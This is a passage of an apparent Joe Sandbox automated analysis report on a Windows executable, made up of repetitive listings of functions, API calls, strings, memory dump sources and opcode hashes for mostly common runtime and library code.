                  • _free.LIBCMT ref: 00F0C08E
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _free$ErrorFreeHeapLast
                  • String ID:
                  • API String ID: 776569668-0
                  • Opcode ID: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
                  • Instruction ID: 841be557f833a3ab379f5c28d82a980eb4a8804eba708b00cdadafacfd9b43f2
                  • Opcode Fuzzy Hash: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
                  • Instruction Fuzzy Hash: 9811FE75580B05F6D630BBB0CC06FCBB79D6F04741F408855B29A6A4D2DBA9F905BA90
                  Function 00F020CA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • GetLastError.KERNEL32(?,?,00F020C1,00EFFB12), ref: 00F020D8
                  • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F020E6
                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F020FF
                  • SetLastError.KERNEL32(00000000,?,00F020C1,00EFFB12), ref: 00F02151
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ErrorLastValue___vcrt_
                  • String ID:
                  • API String ID: 3852720340-0
                  • Opcode ID: 6e5e69ade53df33b0ebfd94448e016401c9e7ebd4663603ef20562e9990719b8
                  • Instruction ID: ccda1114dad1b531231090243d37fdd2fa7e4ddf1fdbf04cdf3c9f24ce8ab29a
                  • Opcode Fuzzy Hash: 6e5e69ade53df33b0ebfd94448e016401c9e7ebd4663603ef20562e9990719b8
                  • Instruction Fuzzy Hash: DB012B326193156EF7A42BB67CCDAAB3B8CEB157747234629F710950F0EF524C01B164
                  Function 00EFDC9A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID:
                  • String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
                  • API String ID: 0-1718035505
                  • Opcode ID: 1c14a1a5fde04c32de850598ad414093aaf6e293d96fdf70edef155bac4da8e4
                  • Instruction ID: 1fbf979c9201e1df512a17518d9e235de14b4990d9e1fa3a28085b19a2c12799
                  • Opcode Fuzzy Hash: 1c14a1a5fde04c32de850598ad414093aaf6e293d96fdf70edef155bac4da8e4
                  • Instruction Fuzzy Hash: 7701493174522A9B0F205FB55CD42F67B969E8271A320627AEB01F3200DE71C880F6A0
                  Function 00EF0CBE Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON
                  Download Yara Rule
                  APIs
                  • SystemTimeToFileTime.KERNEL32(?,?), ref: 00EF0D0D
                    • Part of subcall function 00EEACF5: GetVersionExW.KERNEL32(?), ref: 00EEAD1A
                  • LocalFileTimeToFileTime.KERNEL32(?,00EF0CB8), ref: 00EF0D31
                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 00EF0D47
                  • TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00EF0D56
                  • SystemTimeToFileTime.KERNEL32(?,00EF0CB8), ref: 00EF0D64
                  • SystemTimeToFileTime.KERNEL32(?,?), ref: 00EF0D72
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Time$File$System$Local$SpecificVersion
                  • String ID:
                  • API String ID: 2092733347-0
                  • Opcode ID: 607d157a70b87c9d48ab0388b4b881ee71a6f8c869b0d6211792737d30fe3796
                  • Instruction ID: 387a149ae4b412f2a10cb6a5358bd9c7d3b0e3c180e684fa88c6a931c8d86a67
                  • Opcode Fuzzy Hash: 607d157a70b87c9d48ab0388b4b881ee71a6f8c869b0d6211792737d30fe3796
                  • Instruction Fuzzy Hash: BB31D47A90020EEBCB04DFE5C8859EFBBBCFF58700B04455AEA55E3211E730AA45CB64
                  Function 00EF91B0 Relevance: 9.1, APIs: 6, Instructions: 89COMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _memcmp
                  • String ID:
                  • API String ID: 2931989736-0
                  • Opcode ID: 376c0635c7c636ade9e4494a04285e16b41b0a6e43607b0b00d3d9a31677b204
                  • Instruction ID: 2d939bae3d5527f934fa40b653b3d6b008c94694c69db62a15b45119dc5a55d7
                  • Opcode Fuzzy Hash: 376c0635c7c636ade9e4494a04285e16b41b0a6e43607b0b00d3d9a31677b204
                  • Instruction Fuzzy Hash: 8421A37160010EBBE7099A14DC81FBB77ADAF90788B109125FE49AB253E271DD419691
                  Function 00F08FA5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • GetLastError.KERNEL32(?,00F20EE8,00F03E14,00F20EE8,?,?,00F03713,00000050,?,00F20EE8,00000200), ref: 00F08FA9
                  • _free.LIBCMT ref: 00F08FDC
                  • _free.LIBCMT ref: 00F09004
                  • SetLastError.KERNEL32(00000000,?,00F20EE8,00000200), ref: 00F09011
                  • SetLastError.KERNEL32(00000000,?,00F20EE8,00000200), ref: 00F0901D
                  • _abort.LIBCMT ref: 00F09023
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ErrorLast$_free$_abort
                  • String ID:
                  • API String ID: 3160817290-0
                  • Opcode ID: 8d019f0560e6b4f2a9898b3f6ada7e5029d1c529fad47563d6ef6aa70cac7cda
                  • Instruction ID: bbbef1b709e06d8a943064393b9446602964e214a496fcddfa3ca10d6df7a21d
                  • Opcode Fuzzy Hash: 8d019f0560e6b4f2a9898b3f6ada7e5029d1c529fad47563d6ef6aa70cac7cda
                  • Instruction Fuzzy Hash: E8F02836A087016AC62273346C0AB6B396A9FD17F1B264114F895E21D7EE65C9037015
                  Function 00EFD2E6 Relevance: 9.0, APIs: 6, Instructions: 43windowsynchronizationCOMMON
                  Download Yara Rule
                  APIs
                  • WaitForSingleObject.KERNEL32(?,0000000A), ref: 00EFD2F2
                  • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00EFD30C
                  • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00EFD31D
                  • TranslateMessage.USER32(?), ref: 00EFD327
                  • DispatchMessageW.USER32(?), ref: 00EFD331
                  • WaitForSingleObject.KERNEL32(?,0000000A), ref: 00EFD33C
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Message$ObjectSingleWait$DispatchPeekTranslate
                  • String ID:
                  • API String ID: 2148572870-0
                  • Opcode ID: f44373ec4d406b0562e597b4c23f2139989be7e3425b5a841ae8ee80ba1746b9
                  • Instruction ID: 57a3b85867b8f230c166a6838ead5c79e556d87d79f1270f83193d031dc1c185
                  • Opcode Fuzzy Hash: f44373ec4d406b0562e597b4c23f2139989be7e3425b5a841ae8ee80ba1746b9
                  • Instruction Fuzzy Hash: A9F03C72A0211DABCB205BA5DC4CEEBBFAEEF66795F408022FA06E2010D6349541D7A1
                  Function 00EFC40E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON
                  Download Yara Rule
                  APIs
                  • _wcschr.LIBVCRUNTIME ref: 00EFC435
                    • Part of subcall function 00EF17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00EEBB05,00000000,.exe,?,?,00000800,?,?,00EF85DF,?), ref: 00EF17C2
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CompareString_wcschr
                  • String ID: <$HIDE$MAX$MIN
                  • API String ID: 2548945186-3358265660
                  • Opcode ID: cb3a39a8469fe1bc4301a8caedc13e558856d997f37e04d4a7aaac6b1e304bd6
                  • Instruction ID: 56e2ba7cf1480fac86ab8c479bf08162e3741c30379b2d3425f7d97e5fbc2367
                  • Opcode Fuzzy Hash: cb3a39a8469fe1bc4301a8caedc13e558856d997f37e04d4a7aaac6b1e304bd6
                  • Instruction Fuzzy Hash: E131A17390060DAADB21DB94CD51EFA77BCEB54304F2054A6FB19F6090EBB09EC4CA60
                  Function 00EFADED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59windowCOMMON
                  Download Yara Rule
                  APIs
                  • LoadBitmapW.USER32(00000065), ref: 00EFADFD
                  • GetObjectW.GDI32(00000000,00000018,?), ref: 00EFAE22
                  • DeleteObject.GDI32(00000000), ref: 00EFAE54
                  • DeleteObject.GDI32(00000000), ref: 00EFAE77
                    • Part of subcall function 00EF9E1C: FindResourceW.KERNEL32(00EFAE4D,PNG,?,?,?,00EFAE4D,00000066), ref: 00EF9E2E
                    • Part of subcall function 00EF9E1C: SizeofResource.KERNEL32(00000000,00000000,?,?,?,00EFAE4D,00000066), ref: 00EF9E46
                    • Part of subcall function 00EF9E1C: LoadResource.KERNEL32(00000000,?,?,?,00EFAE4D,00000066), ref: 00EF9E59
                    • Part of subcall function 00EF9E1C: LockResource.KERNEL32(00000000,?,?,?,00EFAE4D,00000066), ref: 00EF9E64
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
                  • String ID: ]
                  • API String ID: 142272564-3352871620
                  • Opcode ID: bf5cd6af2e3942d48ffd4010740d9b26a393157ed990d6bac6508308dfcf5512
                  • Instruction ID: 91c5ed38e2cd79ca5b517052ab5ec6be712be330931f23fd591f8d30233657d5
                  • Opcode Fuzzy Hash: bf5cd6af2e3942d48ffd4010740d9b26a393157ed990d6bac6508308dfcf5512
                  • Instruction Fuzzy Hash: 9501047658021DA6C71067689C05B7F7BFAAF82B41F181121BF48BB292DA328C5592A2
                  Function 00EFCC90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00EE130B: GetDlgItem.USER32(00000000,00003021), ref: 00EE134F
                    • Part of subcall function 00EE130B: SetWindowTextW.USER32(00000000,00F135B4), ref: 00EE1365
                  • EndDialog.USER32(?,00000001), ref: 00EFCCDB
                  • GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00EFCCF1
                  • SetDlgItemTextW.USER32(?,00000066,?), ref: 00EFCD05
                  • SetDlgItemTextW.USER32(?,00000068), ref: 00EFCD14
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ItemText$DialogWindow
                  • String ID: RENAMEDLG
                  • API String ID: 445417207-3299779563
                  • Opcode ID: a4b142b4b54dc06f5a4bd91607a10820f03f9fe08f8be818a5976a46dc0f3167
                  • Instruction ID: 1570a8507a7e61930c6f503bc174d3001e3444c90c54c78c176fdbe2091601ba
                  • Opcode Fuzzy Hash: a4b142b4b54dc06f5a4bd91607a10820f03f9fe08f8be818a5976a46dc0f3167
                  • Instruction Fuzzy Hash: DB01B53238421C7AE6214F68AE09FBB7B9DAB9A746F301421F34AB60E0C6725905D765
                  Function 00F075C2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00F07573,00000000,?,00F07513,00000000,00F1BAD8,0000000C,00F0766A,00000000,00000002), ref: 00F075E2
                  • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00F075F5
                  • FreeLibrary.KERNEL32(00000000,?,?,?,00F07573,00000000,?,00F07513,00000000,00F1BAD8,0000000C,00F0766A,00000000,00000002), ref: 00F07618
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AddressFreeHandleLibraryModuleProc
                  • String ID: CorExitProcess$mscoree.dll
                  • API String ID: 4061214504-1276376045
                  • Opcode ID: 53f35a322f344102457290f11c6058b911c307a0a5c62d276449d8667f4dd6f2
                  • Instruction ID: cb1eeb25c10d7a4fd77b8f861414fecfd4db31629ea1058d0c4fa280f0af691e
                  • Opcode Fuzzy Hash: 53f35a322f344102457290f11c6058b911c307a0a5c62d276449d8667f4dd6f2
                  • Instruction Fuzzy Hash: ECF0A430E0461CBBCB15AB55DC09BDEBFB8EF04715F018098F805A2190DB319A40FA90
                  Function 00EEEB73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00EF0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00EF00A0
                    • Part of subcall function 00EF0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00EEEB86,Crypt32.dll,00000000,00EEEC0A,?,?,00EEEBEC,?,?,?), ref: 00EF00C2
                  • GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00EEEB92
                  • GetProcAddress.KERNEL32(00F281C0,CryptUnprotectMemory), ref: 00EEEBA2
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AddressProc$DirectoryLibraryLoadSystem
                  • String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
                  • API String ID: 2141747552-1753850145
                  • Opcode ID: 0a7c5ad91554a35001accbb918a8efa682732ce2648e464d6f030bcf2026529c
                  • Instruction ID: f9eff57e0592fc74289cc21b7d0fd04af164cb81d97796604e5b8a750793b910
                  • Opcode Fuzzy Hash: 0a7c5ad91554a35001accbb918a8efa682732ce2648e464d6f030bcf2026529c
                  • Instruction Fuzzy Hash: B8E04F708007859ECF309F359808B82BEE55B18718B00D85DE4D6F3240DAF4D5809B51
                  Function 00F07DD9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _free
                  • String ID:
                  • API String ID: 269201875-0
                  • Opcode ID: 7a17b1cb922271bee2554ed2e70ee59cef87075a8a731240542f8222a85a06a5
                  • Instruction ID: 2f0781f9defde24efff55fc73402493eb37d3b91ebfae3e3e4243006c4daedf2
                  • Opcode Fuzzy Hash: 7a17b1cb922271bee2554ed2e70ee59cef87075a8a731240542f8222a85a06a5
                  • Instruction Fuzzy Hash: 2E41C332E013049FDB10EF78C881A5EB7A6EF89724B5545E9E915EB391DB31BD01EB80
                  Function 00F0B610 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                  Download Yara Rule
                  APIs
                  • GetEnvironmentStringsW.KERNEL32 ref: 00F0B619
                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F0B63C
                    • Part of subcall function 00F08518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00F0C13D,00000000,?,00F067E2,?,00000008,?,00F089AD,?,?,?), ref: 00F0854A
                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F0B662
                  • _free.LIBCMT ref: 00F0B675
                  • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F0B684
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                  • String ID:
                  • API String ID: 336800556-0
                  • Opcode ID: 0137e84cd71a96889e2c9536a822e32b266c8cb426e95802cb5a9aad0f486d96
                  • Instruction ID: 38a84c378a33c7c9aac5d6b5dcf9808bcd64f74f2128876c9a5485fed4289989
                  • Opcode Fuzzy Hash: 0137e84cd71a96889e2c9536a822e32b266c8cb426e95802cb5a9aad0f486d96
                  • Instruction Fuzzy Hash: 7901D472A01215BFA73116B66C9CCBB7E6DDEC6BB03154269BC04D3190DF628D01B1B0
                  Function 00F09029 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • GetLastError.KERNEL32(?,00F20EE8,00000200,00F0895F,00F058FE,?,?,?,?,00EED25E,?,030F0570,00000063,00000004,00EECFE0,?), ref: 00F0902E
                  • _free.LIBCMT ref: 00F09063
                  • _free.LIBCMT ref: 00F0908A
                  • SetLastError.KERNEL32(00000000,00F13958,00000050,00F20EE8), ref: 00F09097
                  • SetLastError.KERNEL32(00000000,00F13958,00000050,00F20EE8), ref: 00F090A0
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ErrorLast$_free
                  • String ID:
                  • API String ID: 3170660625-0
                  • Opcode ID: ac6210dc75ac0dc422d1850bc867522409cc582bdb30e57cdc97ea70a0fdb265
                  • Instruction ID: c5e9531bdaea6b2ad9886c633d045b181c1c0b0649abcde704295fef3d8a787e
                  • Opcode Fuzzy Hash: ac6210dc75ac0dc422d1850bc867522409cc582bdb30e57cdc97ea70a0fdb265
